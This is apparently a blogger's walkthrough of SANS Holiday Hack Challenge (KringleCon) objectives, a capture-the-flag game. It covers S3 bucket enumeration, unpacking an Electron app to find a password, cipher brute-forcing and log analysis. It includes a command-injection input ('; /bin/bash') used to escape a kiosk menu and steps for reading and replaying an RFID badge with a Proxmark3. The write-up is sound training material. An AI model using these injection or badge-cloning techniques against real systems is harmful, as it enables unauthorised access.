FLRNKS

Uncover Santa's Gift List

Tue, 22 Dec 2020 00:00:00 +0100

After a long and snowy journey I’ve finally arrived to the north pole to attend KringleCon III! I talk to Jingle Ringford to orientate myself:

Welcome! Hop in the gondola to take a ride up the mountain to Exit 19: Santa’s castle! Santa asked me to design the new badge, and he wanted it to look really cold - like it was frosty. Click your badge (the snowflake in the center of your avatar) to read your objectives. If you’d like to chat with the community, join us on Discord! We have specially appointed Kringle Koncierges as helpers; you can hit them up for help in the #general channel! If you get a minute, check out Ed Skoudis’ official intro to the con! You can’t wait to get to the KingleCon but first, your should check your badge which already has your first objective ready:

I see the big billboard on the top-left near the main road. Click HERE to open it in a new window so that you can download it for closer inspection.

Some hints from the badge to get started with the image manipulation:

There are tools out there that could help Filter the Distortion that is this Twirl.
Make sure you Lasso the correct twirly area.

It seems that to recover Santa’s gift to Josh Wright I will need to do a bit of image manipulation to un-twirl the photo’s section which contains the list.

Luckily they shared a link to this online tool which can do this quite easily.

After fiddling around with it for a few minutes, I managed to un-twirl it enough to read it: proxmark

Click to learn more about what proxmark is, it may be useful later on …

On to the next objective! 😎

Talk to Santa in the Quad

Sat, 28 Dec 2019 00:00:00 +0100

Greetings from Santa

This is the very beginning of your journey at the Elf University. Your just arrived to the North Pole by train and your starting position looks something like the below:

You can interact with the characters by clicking on them (repeatedly clicking will reveal their full message), and you can also interact with certain objects that will either open some command line terminal or a full website in a frame. If you click on Santa a few times he provide the below greeting:

Welcome to the North Pole and KringleCon 2! Last year, KringleCon hosted over 17,500 attendees and my castle got a little crowded. We moved the event to Elf University (Elf U for short), the North Pole’s largest venue. Please feel free to explore, watch talks, and enjoy the con!

As you can notice, you are not alone at the North Pole. One of the coolest things of the challenge is that you get to interact with like-minded people through the game interface. Whenever you feel lost, you should ask in the chat for some guidance. Just be sure not to ask for direct solutions, because that would ruin all the fun, wouldn’t it? :)

Another great feature is the personal badge on your avatar, which you can click at any point and will provide useful information on your objectives and accomplishments.

Get outta here

In this zeroth(?!) objective you need to find Santa in another room called The Quad so your main job is to find the way out of the Train Station. Navigation works either via mouse-clicks or via the arrow keys on your keyboard. To go to The Quad simply start going upwards until you find yourself in another space.

Once you found Santa, who is quite hard to miss, as he stands right in the middle of The Quad, you can click on him a few times to complete Objective 0 and receive further instructions:

This is a little embarrassing, but I need your help. Our KringleCon turtle dove mascots are missing! They probably just wandered off. Can you please help find them? To help you search for them and get acquainted with KringleCon, I’ve created some objectives for you. You can see them in your > badge. Where’s your badge? Oh! It’s that big, circle emblem on your chest - give it a tap! We made them in two flavors - one for our new guests, and one for those who’ve attended both KringleCons. After you find the Turtle Doves and complete objectives 2-5, please come back and let me know. Not sure where to start? Try hopping around campus and talking to some elves. If you help my elves with some quicker problems, they’ll probably remember clues for the objectives.

Investigate S3 Bucket

Tue, 22 Dec 2020 00:00:00 +0100

After recovering Santa’s gift list, I take the snow lift and arrive to the Kringle Castle’s Front Lawn. Here, I find a few characters here, including Santa himself, who greets me right away:

Hello and welcome to the North Pole! We’re super excited about this year’s KringleCon 3: French Hens. My elves have been working all year to upgrade the castle. It was a HUGE construction project, and we’ve nearly completed it. Please pardon the remaining construction dust around the castle and enjoy yourselves!

The 2nd objective in the badge instructs me to investigate some S3 bucket used at the North Pole. For hints, I talk with Shinny Upatree in the bottom right corner. But before, he asks for a favor with the Kringle Kiosk terminal:

Hiya hiya - I’m Shinny Upatree! Check out this cool KringleCon kiosk! You can get a map of the castle, learn about where the elves are, and get your own badge printed right on-screen! Be careful with that last one though. I heard someone say it’s “ingestible.” Or something… Do you think you could check and see if there is an issue?

The Kringle Kiosk challenge involves escaping from the application via a Command Injection:

1Welcome to our castle, we're so glad to have you with us!
2Come and browse the kiosk; though our app's a bit suspicious.
3Poke around, try running bash, please try to come discover,
4Need our devs who made our app pull/patch to help recover?
5
6Escape the menu by launching /bin/bash << THE TASK!

Once I open the Kiosk and hit enter, I see a list of menu items to choose from:

 1~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 2 Welcome to the North Pole!
 3~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 41. Map
 52. Code of Conduct and Terms of Use
 63. Directory
 74. Print Name Badge
 85. Exit
 9
10Please select an item from the menu by entering a single number.
11Anything else might have ... unintended consequences.
12Enter choice [1 - 5]

Keeping in mind Shinny’s advice about option 4 that’s used to print badges, I chose that option. This may be the one that has the Command Injection flaw. When it’s selected it even has a warning about special characters. Let’s see how it handles my username + some special characters: FLRNKS; /bin/bash

Now that wasn’t too hard! I then talk to Shinny to get those hints he promised:

Golly - wow! You sure found the flaw for us! Say, we’ve been having an issue with an Amazon S3 bucket. Do you think you could help find Santa’s package file? Jeepers, it seems there’s always a leaky bucket in the news. You’d think we could find our own files! Digininja has a great guide, if you’re new to S3 searching. He even released a tool for the task - what a guy! The package wrapper Santa used is reversible, but it may take you some trying. Good luck, and thanks for pitching in!

Some hints also from the badge:

It seems there’s a new story every week about data exposed in unprotected AWS S3 buckets
Find Santa’s package file in S3, see Josh Wright’s talk for tips
Robin Wood wrote up a guide about finding these open S3 buckets
He even wrote a tool to search for unprotected buckets
Santa’s Wrapper3000 is pretty buggy. It uses several compression tools, binary to ASCII conversion, and other tools to wrap packages.

To get started I click on the terminal to the right side of Shinny, that brings up a new terminal CLI:

On the terminal’s file system there is a folder called bucket_finder that contains a Ruby Script and a wordlist. The script can take this wordlist and iterate over each line and test if a S3 bucket with such a name exists and whether it’s public. With the --download flag, it can also download all available objects if a public bucket is found.

The wordlist initially contains only 3 words and none of them map to the bucket I need. Part of the challenge was to come up with new entries in the wordlist in order to find the bucket. While thinking of possibilities, I remembered the Terminal MOTD which had a brightly emphasized word Wrapper3000, so I added two variants of it to the list. First I added it as it was, then with lowercase W, remembering that S3 bucket names are case-sensitive. Lo and behold, the lower-case version was the name of the bucket which had the package file I needed:

1elf@6baea2e4fddd:~/bucket_finder$ cat wordlist
2...
3Wrapper3000
4wrapper3000
5elf@6baea2e4fddd:~/bucket_finder$ ./bucket_finder.rb wordlist
6...
7Bucket does not exist: Wrapper3000
8Bucket Found: wrapper3000 ( http://s3.amazonaws.com/wrapper3000 )
9 <Public> http://s3.amazonaws.com/wrapper3000/package << THE FILE WE NEED!

Running the Ruby script again with --download flag cloned the bucket to a subdirectory called wrapper3000. Next I navigated to this directory and started inspecting the contents of package:

1elf@6baea2e4fddd:~/bucket_finder/wrapper3000$ file package
2package: ASCII text, with very long lines
3elf@6baea2e4fddd:~/bucket_finder/wrapper3000$ cat package
4UEsDBAoAAAAAAIAwhFEbRT8anwEAAJ8BAAAcABwAcGFja2FnZS50eHQuWi54ei54eGQudGFyLmJ6MlVUCQADoBfKX6AXyl91eAsAAQT2AQAABBQAAABCWmg5MUFZJlNZ2ktivwABHv+Q3hASgGSn//AvBxDwf/xe0gQAAAgwAVmkYRTKe1PVM9U0ekMg2poAAAGgPUPUGqehhCMSgaBoAD1NNAAAAyEmJpR5QGg0bSPU/VA0eo9IaHqBkxw2YZK2NUASOegDIzwMXMHBCFACgIEvQ2Jrg8V50tDjh61Pt3Q8CmgpFFunc1Ipui+SqsYB04M/gWKKc0Vs2DXkzeJmiktINqjo3JjKAA4dLgLtPN15oADLe80tnfLGXhIWaJMiEeSX992uxodRJ6EAzIFzqSbWtnNqCTEDML9AK7HHSzyyBYKwCFBVJh17T636a6YgyjX0eE0IsCbjcBkRPgkKz6q0okb1sWicMaky2Mgsqw2nUm5ayPHUeIktnBIvkiUWxYEiRs5nFOM8MTk8SitV7lcxOKst2QedSxZ851ceDQexsLsJ3C89Z/gQ6Xn6KBKqFsKyTkaqO+1FgmImtHKoJkMctd2B9JkcwvMr+hWIEcIQjAZGhSKYNPxHJFqJ3t32Vjgn/OGdQJiIHv4u5IpwoSG0lsV+UEsBAh4DCgAAAAAAgDCEURtFPxqfAQAAnwEAABwAGAAAAAAAAAAAAKSBAAAAAHBhY2thZ2UudHh0LloueHoueHhkLnRhci5iejJVVAUAA6AXyl91eAsAAQT2AQAABBQAAABQSwUGAAAAAAEAAQBiAAAA9QEAAAAA

Right away it looked like it was base64 encoded text, so I ran it through base64 -d . Then I checked what kind of file was recovered, and it was in fact a compressed ZIP file:

1elf@6baea2e4fddd:~/bucket_finder/wrapper3000$ cat package | base64 -d > package-decoded
2elf@6baea2e4fddd:~/bucket_finder/wrapper3000$ file package-decoded
3package-decoded: Zip archive data, at least v1.0 to extract

Next I used unzip to recover the file that was hiding in this ZIP. The resulting file had a rather long list of extensions which suggested there was more unwrapping to do:

1elf@6baea2e4fddd:~/bucket_finder/wrapper3000$ unzip package-decoded
2Archive: package-decoded extracting: package.txt.Z.xz.xxd.tar.bz2
3elf@6baea2e4fddd:~/bucket_finder/wrapper3000$ file package.txt.Z.xz.xxd.tar.bz2
4package.txt.Z.xz.xxd.tar.bz2: bzip2 compressed data, block size = 900k

Next, I started peeling back each layer of encoding/compression in reverse order to finally reveal the solution of this Objective:

1elf@6baea2e4fddd:~/bucket_finder/wrapper3000$ bunzip2 package.txt.Z.xz.xxd.tar.bz2
2elf@6baea2e4fddd:~/bucket_finder/wrapper3000$ tar xopf package.txt.Z.xz.xxd.tar
3elf@6baea2e4fddd:~/bucket_finder/wrapper3000$ xxd -r package.txt.Z.xz.xxd > package.txt.Z.xz
4elf@6baea2e4fddd:~/bucket_finder/wrapper3000$ unxz package.txt.Z.xz
5elf@6baea2e4fddd:~/bucket_finder/wrapper3000$ uncompress package.txt.Z
6elf@6baea2e4fddd:~/bucket_finder/wrapper3000$ cat package.txt
7North Pole: The Frostiest Place on Earth

Brrrrrr … 🥶 On to the next objective!

Find the Turtle Doves

Sat, 28 Dec 2019 00:00:00 +0100

Where the doves at?

After talking with Santa in The Quad you get your new objective: Find the Turtle Doves. They are the official mascot of this year’s challenge, and you need to find them before it’s too late!

To be sure, there is not much else to do, except go around and explore until you find them. Once you do find them, be sure to click on the text over their head to make your objective complete! Hint: they are warming up somewhere near a fireplace… :)

You get some valuable further clues one you find them and click them a few times:

Hoot Hooot? … Hoot Hooot? … Hoot Hooot? … Hoot Hooot?

But jokes aside, at this point you should be familiar with the inner functioning of the challenge universe at the North Pole. Now you are ready to start working on the real stuff.

Point-of-Sale Password Recovery

Tue, 22 Dec 2020 00:00:00 +0100

After solving the S3 bucket challenge, this new objective leads me to the courtyard where I meet up with Sugarplum Mary to help her recover a lost password for the PoS terminal:

Sugarplum Mary? That’s me! I was just playing with this here terminal and learning some Linux! It’s a great intro to the Bash terminal. If you get stuck at any point, type hintme to get a nudge! Can you make it to the end?

This terminal was like a quick refresher/lesson to hone your Linux Terminal skillz. I used the below list of commands to solve it:

 1ls
 2cat munchkin_19315479765589239
 3rm munchkin_19315479765589239
 4pwd
 5ls -la | grep munchkin
 6cat .bash_history | grep munchkin
 7env | grep munchkin
 8cd workshop
 9find . -type f -name "toolbox*.txt" | xargs grep -i munchkin
10chmod +x lollipop_engine
11./lollipop_engine
12cd electrical/
13mv blown_fuse0 fuse0
14ln -s fuse0 fuse1
15cp fuse1 fuse2
16echo "MUNCHKIN_REPELLENT" >> fuse2
17cd /opt/munchkin_den/
18find .
19find . -user munchkin
20find . -size +108k -size -110k
21ps a
22netstat -l
23curl http://0.0.0.0:54321
24kill -s 9 11555

The interactive nature of the whole terminal reminded me of the Mini NetWars challenges from earlier this year, which was a nice feeling! Talking to Mary again revealed the below hints about them main objective:

You did it - great! Maybe you can help me configure my postfix mail server on Gentoo! Just kidding! Hey, wouldja’ mind helping me get into my point-of-sale terminal? Just kidding! It’s down, and we kinda’ need it running.. Problem is: it is asking for a password. I never set one! Can you help me figure out what it is so I can get set up? Shinny says this might be an Electron application. I hear there’s a way to extract an ASAR file from the binary, but I haven’t looked into it yet.

… and the hints from the badge:

It’s possible to extract the source code from an Electron app.
There are tools and guides explaining how to extract ASAR from Electron apps.
the PoS firmware is available to download HERE as a 47MB .exe file

To get started I spun up a Windows VM on my MacBook and downloaded the exe within this machine. I also installed 7zip to help with unpacking the EXE file with the goal of recovering the asar file which contains the source code for the app. After opening the exe in 7zip, I found the app.asar in the resources subdirectory, which I extracted to my working folder:

Next, I used the Windows Command Prompt, installed NPM and the asar packaging tool to help unpack the recovered app.asar file:

This operation recovered several files, reading the README pointed me directly to main.js which had the password right at the top of the file:

On to the next one! 😎

Unredact Threatening Document

Sat, 28 Dec 2019 00:00:00 +0100

Un-redact that thing!

The instructions from the badge:

Someone sent a threatening letter to Elf University. What is the first word in ALL CAPS in the subject line of the letter? Please find the letter in the Quad.

Much like finding the Turtle Doves, there is not much else to do but to explore the environment with careful attention to details, such as documents lying around … until you find it:

When you click the piece of paper in the corner, you will be redirected to an URL which loads a PDF document with some redacted parts.

https://downloads.elfu.org/LetterToElfUPersonnel.pdf

In order to read the redacted part, simply hit Ctrl+A or use the mouse to select all text, and copy paste it into some empty text editor, to reveal the full, un-redacted contents.

Date: February 28, 2019
To the Administration, Faculty, and Staff of Elf University
17 Christmas Tree Lane
North Pole
From: A Concerned and Aggrieved Character
Subject: DEMAND: Spread Holiday Cheer to Other Holidays and Mythical Characters… OR
ELSE!
Attention All Elf University Personnel,
It remains a constant source of frustration that Elf University and the entire operation at the
North Pole focuses exclusively on Mr. S. Claus and his year-end holiday spree. We URGE
you to consider lending your considerable resources and expertise in providing merriment,
cheer, toys, candy, and much more to other holidays year-round, as well as to other mythical
characters.
For centuries, we have expressed our frustration at your lack of willingness to spread your
cheer beyond the inaptly-called “Holiday Season.” There are many other perfectly fine
holidays and mythical characters that need your direct support year-round.
If you do not accede to our demands, we will be forced to take matters into our own hands.
We do not make this threat lightly. You have less than six months to act demonstrably.
Sincerely,
--A Concerned and Aggrieved Character
Confidential

Now you can submit the string DEMAND in the input field on your personal badge so solve the objective.

Operate the Santavator

Thu, 24 Dec 2020 00:00:00 +0100

This objective leads me back to the Kringle Castle’s Front Lawn to talk with Pepper Minstix for hints to the operation of the Santavator, as long as I help with his terminal before:

Howdy - Pepper Minstix here! I’ve been playing with tmux lately, and golly it’s useful. Problem is: I somehow became detached from my session. Do you think you could get me back to where I was, admiring a beautiful bird? If you find it handy, there’s a tmux cheat sheet you can use as a reference. I hope you can help!

I think this was the simplest one so far. Reading up on TMUX I found a way to list all sessions by issuing tmux ls, which revealed that there was one session created recently:

1elf@6da9144bb25b:~$ tmux ls
20: 1 windows (created Sun Dec 27 10:28:11 2020) [80x24]

Next I tried tmux attach which revealed the colorful birdie:

Talking again with Pepper Minstix rewarded me with the below hints for the main objective:

You found her! Thanks so much for getting her back! Hey, maybe I can help YOU out! There’s a Santavator that moves visitors from floor to floor, but it’s a bit wonky. You’ll need a key and other odd objects. Try talking to Sparkle Redberry about the key. For the odd objects, maybe just wander around the castle and see what you find on the floor. Once you have a few, try using them to split, redirect, and color the Super Santavator Sparkle Stream (S4).

Next, I enter the Kringle Castle through the main entrance to talk with Sparkle Redberry about the Santavator:

Hey hey, Sparkle Redberry here! The Santavator is on the fritz. Something with the wiring is grinchy, but maybe you can rig something up? Here’s the key! Good luck! On another note, I heard Santa say that he was thinking of canceling KringleCon this year! At first, I thought it was a joke, but he seemed serious. I’m glad he changed his mind. Have you had a chance to look at the Santavator yet? With that key, you can look under the panel and see the Super Santavator Sparkle Stream (S4). To get to different floors, you’ll need to power the various colored receivers. … There MAY be a way to bypass the S4 stream.

There’s also one hint in the badge for the main objective:

It’s really more art than science. The goal is to put the right colored light into the receivers on the left and top of the panel.

Next I look around the castle to find the needed objects that will help me fix the wonky Santavator. Specifically I need to recover some colorful light bulbs, and a Hex Nut that will help steer and paint the electrons to correct color:

One of the light bulbs cannot be found until reaching the Speaker Unprep Room on the 2nd Floor. It’s not possible to get to this floor until I tweak the Santavator to take me there. Luckily the green bulb and the Hex Nut are easy to find and are enough to complete this objective. Once the green electrons are flying into the green tunnel in sufficient number I could close the lid and press the button to the 2nd floor:

Which also completes this objective.

On to the next one! 😎

Windows Log Analysis - Evaluate Attack Outcome

Sat, 28 Dec 2019 00:00:00 +0100

Find the sprayer!

Instructions from the badge:

We’re seeing attacks against the Elf U domain! Using the event log data, identify the user account that the attacker compromised using a password spray attack. Bushy Evergreen is hanging out in the train station and may be able to help you out.

Link to Event logs: https://downloads.elfu.org/Security.evtx.zip (this file is binary, so a preview is not possible).

Technical Challenge

If you need further help before solving this objective, head down to the Train Station and talk with Bushy Evergreen. He will be glad to help you, as long as you help him out with an issue with his terminal:

Hi, I’m Bushy Evergreen. Welcome to Elf U! I’m glad you’re here. I’m the target of a terrible trick. Pepper Minstix is at it again, sticking me in a text editor. Pepper is forcing me to learn ed. Even the hint is ugly. Why can’t I just use Gedit? Please help me just quit the grinchy thing.

Click on the TERMINAL next to him, and solve the presented problem:

 ........................................
.;oooooooooooool;,,,,,,,,:loooooooooooooll:
.:oooooooooooooc;,,,,,,,,:ooooooooooooollooo:
.';;;;;;;;;;;;;;,''''''''';;;;;;;;;;;;;,;ooooo:
.''''''''''''''''''''''''''''''''''''''''';ooooo:
 ;oooooooooooool;''''''',:loooooooooooolc;',,;ooooo:
 .:oooooooooooooc;',,,,,,,:ooooooooooooolccoc,,,;ooooo:
.cooooooooooooo:,''''''',:ooooooooooooolcloooc,,,;ooooo,
coooooooooooooo,,,,,,,,,;ooooooooooooooloooooc,,,;ooo,
coooooooooooooo,,,,,,,,,;ooooooooooooooloooooc,,,;l'
coooooooooooooo,,,,,,,,,;ooooooooooooooloooooc,,..
coooooooooooooo,,,,,,,,,;ooooooooooooooloooooc.
coooooooooooooo,,,,,,,,,;ooooooooooooooloooo:.
coooooooooooooo,,,,,,,,,;ooooooooooooooloo;
:llllllllllllll,'''''''';llllllllllllllc,
Oh, many UNIX tools grow old, but this one's showing gray.
That Pepper LOLs and rolls her eyes, sends mocking looks my way.
I need to exit, run - get out! - and celebrate the yule.
Your challenge is to help this elf escape this blasted tool.
-Bushy Evergreen
Exit ed.
1100
q <<< type q to exit
Loading, please wait......
You did it! Congratulations!

Okay, it was a rather simple issue… However, it was good practice, as you will encountering similar technical challenges down the road. Once you go back and click on Bushy, you will finally get your hints for solving this challenge:

Wow, that was much easier than I’d thought. Maybe I don’t need a clunky GUI after all! Have you taken a look at the password spray attack artifacts? I’ll bet that DeepBlueCLI tool is helpful. You can check it out on GitHub. It was written by that Eric Conrad. He lives in Maine - not too far from here!

What he is essentially telling you is to use this tool, to solve Objective 3. For this purpose you will be most likely needing a windows-based machine (physical or virtual does not matter). You should first clone the given repository from GitHub, and then download the Security.evtx file provided in the Objective description. Then you should execute the DeepBlue.ps1 script with this file as its first argument. Be sure to start a new PowerShell session as ADMIN!

# command #1 set the execution policy unrestricted so we can call the DeepBlueCLI script
$ Set-ExecutionPolicy unrestricted
# command #2
$ .\DeepBlue.ps1 .\Security.evtx
...
Date : 2019. 08. 24. 2:00:20
Log : Security
EventID : 4672
Message : High number of logon failures for one account
Results : Username: supatree
Total logon failures: 76
...
Date : 2019. 08. 24. 2:00:20
Log : Security
EventID : 4672
Message : Multiple admin logons for one account
Results : Username: pminstix
User SID Access Count: 2

Full output can be seen in this PB document: https://pastebin.com/X5LBNVCy

After the DeepBlueCLI tool finished processing the file, it will produce a ton of output. Your task will be to find the account name and submit it through your personal badge, to see if it is the right solution. When I was trying to solve this challenge, I just scrolled until I found pminstix and supatree account names. I first tried the former, which did not work, and thentried to submit the latter, which did work, so objective #3 is now solved!

One could probably write a more sophisticated script to parse and search for same the answer, but simple ways can sometimes lead to quicker solutions… :)

Open HID Lock

Thu, 24 Dec 2020 00:00:00 +0100

Once I figured out how to operate the Santavator, I went up to the 2nd floor where I find several rooms hosting the virtual KringleCon Talks as well as Bushy Evergreen. He’s supposed to give hints for solving the main objective, but first he desperately needs my help getting into the Speaker Unpreparedness Room:

Ohai! Bushy Evergreen, just trying to get this door open. It’s running some Rust code written by Alabaster Snowball. I’m pretty sure the password I need for ./door is right in the executable itself. Isn’t there a way to view the human-readable strings in a binary file?

Opening the door was quite easy with his tip on the use of the strings utility on the main binary executable:

After the door was finally open, Bushy asks if I would like to help some more by turning on the lights in the room. Somehow this is not as trivial as it sounds:

That’s it! What a great password… Hey, you want to help me figure out the light switch too? Those come in handy sometimes. The password we need is in the lights.conf file, but it seems to be encrypted. There’s another instance of the program and configuration in ~/lab/ you can play around with. What if we set the user name to an encrypted value?

Paying closer attention to the last sentence, the solution was quite straight-forward:

Finally, he asks for help with the vending machine so speakers can get their snacks and beverages:

Wow - that worked? I mean, it worked! Hooray for opportunistic decryption, I guess! So hey, if you want, there’s one more challenge. You see, there’s a vending machine in there that the speakers like to use sometimes. Play around with ./vending_machines in the lab folder. You know what might be worth trying? Delete or rename the config file and run it. Then you could set the password yourself to AAAAAAAA or BBBBBBBB. If the encryption is simple code book or rotation ciphers, you’ll be able to roll back the original password.

Solving this one required some more craftiness, but brute-forcing the PW was not that difficult:

Your lookup table worked - great job! That’s one way to defeat a polyalphabetic cipher! Good luck navigating the rest of the castle.

At long last, below are the various hints from Bushy for solving these challenges:

Santa asked me to ask you to evaluate the security of our new HID lock. If ever you find yourself in posession of a Proxmark3, click it in your badge to interact with it. It’s a slick device that can read others’ badges! Oh, did I mention that the Proxmark can simulate badges? Cool, huh? There are lots of references online to help. In fact, there’s a talk going on right now! So hey, if you want, there’s one more challenge. And that Proxmark thing? Some people scan other people’s badges and try those codes at locked doors. Other people scan one or two and just try to vary room numbers. Do whatever works best for you!

Now it was time to enter the room next to Bushy and see what was hiding in there. With the lights turned on it was easy to some item lying on the ground, I’m sure it would be useful for tweaking the Santavator later on. Also, clicking the vending-machine a few times rewards you with some new items.

Before turning to the main objective, I went to the Kitchen to help Fitzy Shortstack with the Dial-Up Terminal that controls the internet connected X-mas lights:

“Put it in the cloud,” they said… “It’ll be great,” they said… All the lights on the Christmas trees throughout the castle are controlled through a remote server. We can shuffle the colors of the lights by connecting via dial-up, but our only modem is broken! Fortunately, I speak dial-up. However, I can’t quite remember the handshake sequence. Maybe you can help me out? The phone number is 756-8347; you can use this blue phone.

I proceed to listen to THIS tone to be able to figure out the sequence.

Eventually I should find the correct sequence:

ba DEE brrr
aahh
WEWEWwrwrwrr
beDURRdunditty
SCHHRRHHRTHRTR

Which earns me this new hint:

You know, Santa really seems to trust Shinny Upatree…

Which doesn’t make too much sense at first, but earlier I learnt from Bushy that a ProxMark3 device will be essential for opening the HID lock. It can be used to clone and replay RFID badges that can open the door in the Workshop. Maybe Shinny is the one whose badge I should try to steal wih the ProxMark3?

Let’s find out!

Next I head back to the Santavator and use the new items I found in the Speaker Unpreparedness Room to unlock the journey up to the Workshop!

Upon entering, I check the small Wrapping Room where I find the ProxMark3 I needed so much! I try to study it a bit by reading the short list of commands given in the badge:

Larry Pesce knows a thing or two about HID attacks. He’s the author of a course on wireless hacking!
Short list of essential proxmark commands HERE

After watching that KringleCon talk on HID Card Hacking and reading the cheat-sheet, I head back to the Castle’s Front Lawn to try to steal Shinny's RFID card details with the command lf hid read:

That looks great! Now I go back to the Workshop, I stand next to the HID protected door to replay Shinny's card parameters with the ProxMark3:

Well that worked flawlessly! Let’s see what’s in this room.

Hmmm… it seems to be just dark and empty but with a really NICE song! I stop for a moment to appreciate it.

Then I check if there is anything down there. Ohhhhhhhh wait… I’ve become Santa himself?! 😱

On to the next objective 🎅🏻!

Windows Log Analysis - Determine Attacker Technique

Sat, 28 Dec 2019 00:00:00 +0100

Un-redact that thing!

Instructions from the badge:

Using these normalized Sysmon logs, identify the tool the attacker used to retrieve domain password hashes from the lsass.exe process. For hints on achieving this objective, please visit Hermey Hall and talk with SugarPlum Mary.

Link to the SysMon logs and below you can see some sample data:

{
"command_line": "cmd.exe /c echo besewi > \\\\.\\pipe\\besewi",
"event_type": "process",
"logon_id": 999,
"parent_process_name": "services.exe",
"parent_process_path": "C:\\Windows\\System32\\services.exe",
"pid": 3812,
"ppid": 616,
"process_name": "cmd.exe",
"process_path": "C:\\Windows\\System32\\cmd.exe",
"subtype": "create",
"timestamp": 132186397959850000,
"unique_pid": "{7431d376-deb3-5dd3-0000-001096a84f00}",
"unique_ppid": "{7431d376-cd7f-5dd3-0000-001010910000}",
"user": "NT AUTHORITY\\SYSTEM",
"user_domain": "NT AUTHORITY",
"user_name": "SYSTEM"
}

Technical Challenge

To get some further hints for solving this challenge, you are told to talk with SugarPlum Mary in Hermey Hall. She is ready to give you some advice, as long as you help her first with an issue she is having with her terminal:

Oh me oh my - I need some help! I need to review some files in my Linux terminal, but I can’t get a file listing. I know the command is ls, but it’s really acting up. Do you think you could help me out? As you work on this, think about these questions:

Do the words in green have special significance?

How can I find a file with a specific name?

What happens if there are multiple executables with the same name in my $PATH?

When you click to view her terminal you get the following information:

K000K000K000KK0KKKKKXKKKXKKKXKXXXXXNXXXX0kOKKKK0KXKKKKKKK0KKK0KK0KK0KK0KK0KK0KKKKKK
00K000KK0KKKKKKKKKXKKKXKKXXXXXXXXNXXNNXXooNOXKKXKKXKKKXKKKKKKKKKK0KKKKK0KK0KK0KKKKK
KKKKKKKKKKKXKKXXKXXXXXXXXXXXXXNXNNNNNNK0x:xoxOXXXKKXXKXXKKXKKKKKKKKKKKKKKKKKKKKKKKK
K000KK00KKKKKKKKXXKKXXXXNXXXNXXNNXNNNNNWk.ddkkXXXXXKKXKKXKKXKKXKKXKKXK0KK0KK0KKKKKK
00KKKKKKKKKXKKXXKXXXXXNXXXNXXNNNNNNNNWXXk,ldkOKKKXXXXKXKKXKKXKKXKKKKKKKKKK0KK0KK0XK
KKKXKKKXXKXXXXXNXXXNXXNNXNNNNNNNNNXkddk0No,;;:oKNK0OkOKXXKXKKXKKKKKKKKKKKKK0KK0KKKX
0KK0KKKKKXKKKXXKXNXXXNXXNNXNNNNXxl;o0NNNo,,,;;;;KWWWN0dlk0XXKKXKKXKKXKKKKKKKKKKKKKK
KKKKKKKKXKXXXKXXXXXNXXNNXNNNN0o;;lKNNXXl,,,,,,,,cNNNNNNKc;oOXKKXKKXKKXKKXKKKKKKKKKK
XKKKXKXXXXXXNXXNNXNNNNNNNNN0l;,cONNXNXc',,,,,,,,,KXXXXXNNl,;oKXKKXKKKKKK0KKKKK0KKKX
KKKKKKXKKXXKKXNXXNNXNNNNNXl;,:OKXXXNXc''',,''''',KKKKKKXXK,,;:OXKKXKKXKKX0KK0KK0KKK
KKKKKKKKXKXXXXXNNXXNNNNW0:;,dXXXXXNK:'''''''''''cKKKKKKKXX;,,,;0XKKXKKXKKXKKK0KK0KK
XXKXXXXXXXXXXNNNNNNNNNN0;;;ONXXXXNO,''''''''''''x0KKKKKKXK,',,,cXXKKKKKKKKXKKK0KKKX
KKKKKKKXKKXXXXNNNNWNNNN:;:KNNXXXXO,'.'..'.''..':O00KKKKKXd'',,,,KKXKKXKKKKKKKKKKKKK
KKKKKXKKXXXXXXXXNNXNNNx;cXNXXXXKk,'''.''.''''.,xO00KKKKKO,'',,,,KK0XKKXKKK0KKKKKKKK
XXXXXXXXXKXXXXXXXNNNNNo;0NXXXKKO,'''''''.'.'.;dkOO0KKKK0;.'',,,,XXXKKK0KK0KKKKKKKKX
XKKXXKXXXXXXXXXXXNNNNNcoNNXXKKO,''''.'......:dxkOOO000k,..''',,lNXKXKKXKKK0KKKXKKKK
KXXKKXXXKXXKXXXXXXXNNNoONNXXX0;'''''''''..'lkkkkkkxxxd'...'''',0N0KKKKKXKKKKKK0XKKK
XXXXXKKXXKXXXXXXXXXXXXOONNNXXl,,;;,;;;;;;;d0K00Okddoc,,,,,,,,,xNNOXKKKKKXKKKKKKKXKK
XXXXXXXXXXXXXXXXXXXXXXXONNNXx;;;;;;;;;,,:xO0KK0Oxdoc,,,,,,,,,oNN0KXXKKXKKXKKKKKKKXK
XKXXKXXXXXXXXXXXXXXXXXXXXWNX:;;;;;;;;;,cO0KKKK0Okxl,,,,,,,,,oNNK0NXXXXXXXXXKKKKKKKX
XXXXXXXXXXXXXXXXXXXXXXXNNNWNc;;:;;;;;;xKXXXXXXKK0x,,,,,,,,,dXNK0NXXXXXXXXXXXKKXKKKK
XKXXXXXXXXXXXXXXXXXXXXNNWWNWd;:::;;;:0NNNNNNNNNXO;,,,,,,,:0NN0XNXNXXXXXXXXXXXKKXKKX
NXXXXXXXXXXXXXXXXXXXXXNNNNNNNl:::;;:KNNNNNNNNNNO;,,,,,,;xNNK0NXNXXNXXXXXXKXXKKKKXKK
XXNNXNNNXXXXXXXXXXXXXNNNNNNNNNkl:;;xWWNNNNNWWWk;;;;;;;xNNKKXNXNXXNXXXXXXXXXXXKXKKXK
XXXXXNNNNXNNNNXXXXXXNNNNNNNNNNNNKkolKNNNNNNNNx;;;;;lkNNXNNNNXXXNXXNXXXXXXXXXXXKKKKX
XXXXXXXXXXXNNNNNNNNNNNNNNNNNNNNNNNNNKXNNNNWNo:clxOXNNNNNNNNXNXXXXXXXXXXXXXXXKKXKKKK
XXXXNXXXNXXXNXXNNNNNWWWWWNNNNNNNNNNNNNNNNNWWNWWNWNNWNNNNNNNNXXXXXXNXXXXXXXXXXKKXKKX
XNXXXXNNXXNXXNNXNXNWWWWWWWWWNNNNNNNNNNNNNWWWWNNNNNNNNNNNNNNNNNNNNNXNXXXXNXXXXXXKXKK
XXXXNXXNNXXXNXXNXXNWWWNNNNNNNNNWWNNNNNNNNWWWWWWNWNNNNNNNNNNNNNNNXXNXNXXXXNXXXXKXKXK
I need to list files in my home/
To check on project logos
But what I see with ls there,
Are quotes from desert hobos...
which piece of my command does fail?
I surely cannot find it.
Make straight my path and locate that-
I'll praise your skill and sharp wit!
Get a listing (ls) of your current directory.

elf@b0b213fcf787:~$ ls
This isn't the ls you're looking for

elf@b0b213fcf787:~$ which ls
/usr/local/bin/ls

elf@b0b213fcf787:~$ /bin/ls << call the original ls directly to solve it
